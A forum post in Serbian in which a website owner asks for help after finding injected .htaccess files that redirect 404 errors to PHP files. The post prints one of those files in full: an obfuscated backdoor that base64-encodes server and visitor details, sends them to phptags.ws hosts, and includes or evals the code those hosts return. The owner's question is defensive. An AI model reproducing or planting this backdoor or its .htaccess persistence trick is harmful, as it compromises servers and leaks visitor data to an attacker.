Jel ovo neko pokusao da mi hakuje sajt ili ...jedan je .htaccess, a drugi neki php fajl.
U htaccess fajlu pise ovako:
Code:
Options -MultiViews
ErrorDocument 404 //files/86779.php
Options -MultiViews
ErrorDocument 404 //files/86779.php
A u php koji se zove kao sto gore pise 86779.php fajlu ima sledece:
Code:
<? error_reporting(0);$s="e";$a=(isset($_SERVER["HTTP_HOST"])?$_SERVER["HTTP_HOST"]:$HTTP_HOST);$b=(isset($_SERVER["SERVER_NAME"])?$_SERVER["SERVER_NAME"]:$SERVER_NAME);$c=(isset($_SERVER["REQUEST_URI"])?$_SERVER["REQUEST_URI"]:$REQUEST_URI);$d=(isset($_SERVER["PHP_SELF"])?$_SERVER["PHP_SELF"]:$PHP_SELF);$e=(isset($_SERVER["QUERY_STRING"])?$_SERVER["QUERY_STRING"]:$QUERY_STRING);$f=(isset($_SERVER["HTTP_REFERER"])?$_SERVER["HTTP_REFERER"]:$HTTP_REFERER);$g=(isset($_SERVER["HTTP_USER_AGENT"])?$_SERVER["HTTP_USER_AGENT"]:$HTTP_USER_AGENT);$h=(isset($_SERVER["REMOTE_ADDR"])?$_SERVER["REMOTE_ADDR"]:$REMOTE_ADDR);$i=(isset($_SERVER["SCRIPT_FILENAME"])?$_SERVER["SCRIPT_FILENAME"]:$SCRIPT_FILENAME);$j=(isset($_SERVER["HTTP_ACCEPT_LANGUAGE"])?$_SERVER["HTTP_ACCEPT_LANGUAGE"]:
$HTTP_ACCEPT_LANGUAGE);$str=base64_encode($a).".".base64_encode($b).".".base64_encode($c)."."
.base64_encode($d).".".base64_encode($e).".".base64_encode($f).".".base64_encode($g).".".base64_encode($h).
".$s.".base64_encode($i).".".base64_encode($j);if((include(base64_decode("aHR0cDovLw==").
base64_decode("YS5waHB0YWdzLndz")."/?".$str)));else if(include(base64_decode("aHR0cDovLw==").base64_decode("Yi5waHB0YWdzLndz")."/?".$str));else if($c=file_get_contents(base64_decode("aHR0cDovLzcucGhwdGFncy53cy8/").$str))eval($c);else{$cu=curl_init(base64_decode("aHR0cDovLzcxLnBocHRhZ3Mud3MvPw==").$str);curl_setopt($cu,CURLOPT_RETURNTRANSFER,1);$str=curl_exec($cu);curl_close($cu);eval($str);}; ?>
<? error_reporting(0);$s="e";$a=(isset($_SERVER["HTTP_HOST"])?$_SERVER["HTTP_HOST"]:$HTTP_HOST);$b=(isset($_SERVER["SERVER_NAME"])?$_SERVER["SERVER_NAME"]:$SERVER_NAME);$c=(isset($_SERVER["REQUEST_URI"])?$_SERVER["REQUEST_URI"]:$REQUEST_URI);$d=(isset($_SERVER["PHP_SELF"])?$_SERVER["PHP_SELF"]:$PHP_SELF);$e=(isset($_SERVER["QUERY_STRING"])?$_SERVER["QUERY_STRING"]:$QUERY_STRING);$f=(isset($_SERVER["HTTP_REFERER"])?$_SERVER["HTTP_REFERER"]:$HTTP_REFERER);$g=(isset($_SERVER["HTTP_USER_AGENT"])?$_SERVER["HTTP_USER_AGENT"]:$HTTP_USER_AGENT);$h=(isset($_SERVER["REMOTE_ADDR"])?$_SERVER["REMOTE_ADDR"]:$REMOTE_ADDR);$i=(isset($_SERVER["SCRIPT_FILENAME"])?$_SERVER["SCRIPT_FILENAME"]:$SCRIPT_FILENAME);$j=(isset($_SERVER["HTTP_ACCEPT_LANGUAGE"])?$_SERVER["HTTP_ACCEPT_LANGUAGE"]:
$HTTP_ACCEPT_LANGUAGE);$str=base64_encode($a).".".base64_encode($b).".".base64_encode($c)."."
.base64_encode($d).".".base64_encode($e).".".base64_encode($f).".".base64_encode($g).".".base64_encode($h).
".$s.".base64_encode($i).".".base64_encode($j);if((include(base64_decode("aHR0cDovLw==").
base64_decode("YS5waHB0YWdzLndz")."/?".$str)));else if(include(base64_decode("aHR0cDovLw==").base64_decode("Yi5waHB0YWdzLndz")."/?".$str));else if($c=file_get_contents(base64_decode("aHR0cDovLzcucGhwdGFncy53cy8/").$str))eval($c);else{$cu=curl_init(base64_decode("aHR0cDovLzcxLnBocHRhZ3Mud3MvPw==").$str);curl_setopt($cu,CURLOPT_RETURNTRANSFER,1);$str=curl_exec($cu);curl_close($cu);eval($str);}; ?>
Prvo sam pomislio verovatno nista, kad onda primetim i u images folderu isto, i u tmp folderu ovako nesto pise u .htaccess fajlu:
Code:
Options -MultiViews
ErrorDocument 404 //textpattern/tmp/202975.php
Options -MultiViews
ErrorDocument 404 //textpattern/tmp/202975.php
Sada je vec i meni jasno bilo da je neko pokusao da mi hakuje sajt. Jel ima neko da se razume pa da mi objasni sta je doticni hteo da uradi, koja je to tehnika, i da li treba nesto da preduzimam povodom ovoga.
Ocigledno je hteo da postavi svoju 404 stranicu i onda da pokrene kod u nekom od ovih php fajlova, koliko vidim u svima pise isto, samo je naziv drugaciji.
Sajt inace radi, nisam primetio neke probleme, i ne znam tacno kada se ovo desilo, ali ne bih rekao vise od mesec dana.
A inace me zanima kako je neko mogao uopste da uploaduje ove fajlove na server (kad bolje razmislih ovo me interesuje vise od svega)?
